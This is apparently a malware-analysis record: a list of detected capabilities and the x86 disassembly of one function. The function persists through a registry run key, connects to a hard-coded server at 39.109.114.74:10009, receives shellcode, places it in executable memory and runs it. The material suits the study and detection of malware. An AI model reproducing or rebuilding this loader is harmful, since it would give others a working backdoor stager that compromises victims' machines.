Function at 0x10003bda
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Execute shellcode via indirect call
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Resolve dns
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c4
push ebx
push esi
push edi
push 0x186a0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x104
lea eax, [esp + 0x38]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.101511d0
add esp, 0xc
lea eax, [esp + 0x38]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x14]
push eax
push 0xf003f
push ebx
push 0x101bb078
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor edi, edi
inc edi
test eax, eax
jne 0x10003c5a
push esi
lea eax, [esp + 0x3c]
push eax
push edi
push ebx
push 0x101bb0a8
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x140]
mov dword [esp + 0x10], ebx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x10]
mov dword [esp + 0x18], ebx
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 2
push eax
xorps xmm0, xmm0
mov dword [esp + 0x28], edi
push str.10009
push str.39.109.114.74
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x10003dd8
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x10003d11
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x101e5544], eax
cmp eax, 0xffffffff
je 0x10003dd8
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10003d0d
push dword [0x101e5544]
call edi
or dword [0x101e5544], 0xffffffff
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x10003cc8
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x101e5544], 0xffffffff
je 0x10003dd8
mov eax, dword [0x101dc998]
mov ecx, dword [0x101e5540]
push ebx
sub eax, ecx
push eax
mov eax, dword [0x101e5614]
add eax, ecx
push eax
push dword [0x101e5544]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10003d86
mov ecx, dword [0x101e5540]
add ecx, eax
mov eax, dword [0x101dc998]
mov dword [0x101e5540], ecx
cmp ecx, eax
jne 0x10003d30
add eax, eax
push eax
push dword [0x101e5614]
call fcn.10154d92
mov dword [0x101e5614], eax
mov eax, dword [0x101dc998]
pop ecx
add eax, eax
pop ecx
mov dword [0x101dc998], eax
jmp 0x10003d2a
push ebx
push ebx
push ebx
push 0x1000310b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x40
push 0x3000
push dword [0x101e5540]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x101e5540]
mov esi, eax
push dword [0x101e5614]
push esi
call fcn.10151330
add esp, 0xc
call esi
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [0x101e5544]
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret